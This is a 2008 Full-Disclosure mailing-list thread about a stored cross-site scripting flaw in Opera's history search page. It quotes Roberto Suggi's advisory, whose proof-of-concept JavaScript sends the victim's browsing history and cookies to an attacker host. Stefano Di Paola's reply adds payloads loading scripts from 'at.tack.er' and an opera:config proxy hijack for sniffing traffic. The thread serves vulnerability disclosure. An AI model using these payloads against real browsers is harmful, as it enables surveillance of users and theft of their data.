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Re: Opera Stored Cross Site Scripting Vulnerability
From: Stefano Di Paola <stefano.dipaola () wisec it>
Date: Wed, 22 Oct 2008 18:41:01 +0200

Hi guys
I'm not a real Opera expert, but since the scheme is opera: you could
change the configuration on the fly, for example to set a remote proxy

1. add in historysearch an iframe with src='opera:config'
2. add a script into the iframe which execute:
opera.setPreference("Proxy","HTTP Server","at.tack.er:8080")

And you can sniff the traffic. No Poc cause too much stuff to do.

On linux/Macos probably some program execution could be done using xterm
--display at.tack.er in place of telnet program.

Also maybe under windows some \\att.tack.er\program.exe ?

Just some ideas :)

BTW, I saw that also the q= parameter has a potential Xss.
you just need to force a similar content to be loaded and stored in
cache.
Just set a page with:
&lt;script+src='http://at.tack.er/s.js'&gt;&lt;/script&gt;

and then point the address to:

opera:historysearch?q=*%22%3E%3Cscript+src='http:%2f%2fat.tack.er%
2fs.js'%3E%3C%2fscript%3E&p=1&s=1

and you'll get at the bottom:
<ul><li><a rel="prev" href="opera:historysearch?q=*"><script
src='http://at.tack.er/s.js&apos;></script>&amp;p=1&amp;s=0">Precedente</a></li> <li>Successiva</li></ul>
</body></html>


Cheers,
Stefano

Il giorno gio, 23/10/2008 alle 02.55 +1300, Roberto Suggi ha scritto:
-----Original Message-----
From: kuza55 [mailto:kuza55 () gmail com]
Sent: Thursday, 23 October 2008 1:25 a.m.
To: Roberto Suggi
Cc: full-disclosure () lists grok org uk
Subject: Re: [Full-disclosure] Opera Stored Cross Site Scripting Vulnerability

Is there any potential for code execution here similar to XSS bugs in
Firefox's chrome:// context or in IE's Local Zone?

No, I don't think so unless I have missed something... The opera:historysearch document.domain has

 NULL value (like about:blank). Access to file://localhost/ zone is forbidden for instance.

Also, you have a PoC which extracts document.cookie; which cookie does
this acquire? From my understanding of this advisory the xss is
rendered in opera:historysearch rather than any specific website, so
document.cookie should not have any entries; is there something I've
missed here?

Yes, you are right. Document.cookie is empty and I don't think cookie can be set for about:historysearch 

which is like about:blank. Not sure why I wrote that...maybe I got confused at some stage or maybe I wasn't 

realising I was dumping an empty cookie! ;-)

The way I'm reading this advisory is that all you've managed to do is
read out the user's history (which is still an issue; tokens in urls,
privacy, etc) via this xss, but nothing more.

Yep, the exploit is mainly about stealing history. But I guess many other things can be done. A couple things I 

can think at 3am in the morning is redirecting users to specific sites depending on sites visited or creating a 
botnet with Beef.

2008/10/22 Roberto Suggi <roberto.suggi () security-assessment com>:
======================================================
=================
= Opera Stored Cross Site Scripting Vulnerability
=
= Vendor Website:
= http://www.opera.com
=
= Affected Version:
=   -- All desktop versions
=
= Public disclosure on 22nd October 2008
=
======================================================
==================

Available online at:
http://www.security-assessment.com/files/advisories/20
08-10-22_Opera_Stored_Cross_Site_Scripting.pdf

== Issue Details ==

Opera browser is vulnerable to stored Cross Site
Scripting.  A malicious attacker is able to inject
arbitrary browser content through the
websites visited with the Opera browser. The code
injection is rendered into the Opera History Search
page which displays URL and a short
description of the visited pages.

== Bug Analysis ==

Opera.exe imports Opera.dll which handles most of the
browser functionality.
Whenever a user visits a page, the URL, and a part of
the content of the visited page is saved and
compressed in a file named md.dat . The
file md.dat can be found at the following path in a
standard Windows Opera installation:

c:\Documents and Settings\user\Local
Settings\Application
Data\Opera\Opera\profile\vps\0000\md.dat

The vulnerability exists in the way the URL and the
content of visited page is stored and rendered from
the md.dat file.

== Opera History Search Page Generation ==

User visits a new site. When the user closes the Opera
browser, the file md.dat is updated. The Opera browser
appends a block of 2000 bytes
for each site visited.

The site URL and title are extracted and put in clear
text at begin of the 2000 bytes block.

The preview content which appears on
opera:historysearch page for the site is compressed
into the file md.dat. However, the HTML encoding is
not consistent across the URL scheme of the site and
the injection is possible in the optional fragment of
the URL (after the # character).

The following sequence summarises an attack scenario:

1.User visits http://aaa.com/index.htm#<script
src=http://badsite/bad.js></script>
2.URL and preview content is stored in the history
search page. However, the optional fragment after the
character # is not encoded properly.
3.If the user visits the history search page, the
cross site scripting is rendered in the user browser
context.

== Opera History Search Page Rendering ==

When accessing the History Search page, Opera reads
the file md.dat again. The content from md.dat is
decompressed and saved into a buffer.
The buffer is then used to generate a cache file that
contains the HTML code of the history search page.
The cache file can be found such as:

c:\Documents and Settings\user\Local
Settings\Application
Data\Opera\Opera\profile\cache4\opr000EA

Then Opera reads the content from the cache file to
display the history search page. The HTML code is not
escaped for the optional fragment
on the URL of the visited pages.

== Opera History/Cookie Exposed - Exploit Description
==

Victim visits site xxx/1.html and clicks on the link.
The 1.html source code:

1.HTML

<html>
<a href='http://xxx/2.html#<script
src=http://xxx/a.js></script>'>a</a>
</html>

The link includes the cross site scripting injection
and brings the victim to page 2.html. The web server
returns 200 OK. The 2.html source code:

2.HTML

<html>
This is a proof of concept.
<script>
setTimeout("document.location='opera:historysearch?q=*
'",5000);
</script>
</html>

The user is then redirected to the opera:historysearch
page where the injection has been stored in the
history after the user followed the
link from 1.html. The injection inserted a malicious
JavaScript a.js which is executed when the user
reaches the opera history search page.

a.js

var x;
for (x in document.links)
{
document.write("<img
src=http://yyy/xxx.asp?query="+document.links[x].href+
">");
}
document.write("<img
src=http://yyy/xxx.asp?keyword="+document.cookie+";>");
setTimeout("document.location='http://xxx/3.html'",500
0);

The malicious JavaScript includes a cross site forged
request that dumps the URL of the visited pages to a
third site yyy controlled by the
attacker. Then the content of the cookie is also
dumped and finally the user is redirected to another
page 3.html.

== Opera History Cross Site Scripting and Cross Site
Request Forgery ==

This is the HTML source code of the
opera:historysearch?q=* page following the injection
:

<li value="3">
<h2><a href="http://xxx/2.html#<script
src=http://xxx/a.js></script>">(null)</a></h2>
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> -
http://xxx/2.html#<script
src=http://xxx/a.js></script></cite>

Note that in Opera 9.52, the injection is possible in
other locations:

URL: http://xxx/2.html?a=";><script
src=http://xxx/a.js</script>

Injection:

<li value="3">
<h2><a href=http://xxx/2.html?a=";><script
src=http://xxx/a.js></script>">...

URL: http://xxx/2.html?a=<script
src=http://xxx/a.js</script>

Injection:

<li value="3">
<h2><a href="http://xxx/2.html?a=<script
src=http://xxx/a.js></script>">(null)</a></h2>
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> -
http://xxx/2.html?a=<script
src=http://xxx/a.js></script></cite>

Opera 9.60 has partially fixed the issues above but
the HTML encoding is still not consistent.

== Credit ==

Discovered and advised to Opera
October 2008 by Roberto Suggi Liverani of
Security-Assessment.com
Personal Page: http://malerisch.net

== Greetings ==

To all my SA colleagues - you guys rock! ;-)

== About Security-Assessment.com ==

Security-Assessment.com is Australasia's leading team
of Information
Security consultants specialising in providing high
quality Information
Security services to clients throughout the Asia
Pacific region. Our
clients include some of the largest globally
recognised companies in
areas such as finance, telecommunications,
broadcasting, legal and
government. Our aim is to provide the very best
independent advice and
a high level of technical expertise while creating
long and lasting
professional relationships with our clients.
Security-Assessment.com is committed to security
research and
development, and its team continues to identify and
responsibly publish
vulnerabilities in public and private software
vendor's products.
Members of the Security-Assessment.com R&D team are
globally recognised
through their release of whitepapers and presentations
related to new
security research.

Roberto Suggi Liverani
Security-Assessment.com

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Internal Virus Database is out of date.
Checked by AVG - http://www.avg.com
Version: 8.0.173 / Virus Database: 270.7.6/1711 - Release Date: 6/10/2008 5:37 p.m.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

-- 
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Owasp Italy R&D Director

Web: www.wisec.it
..................


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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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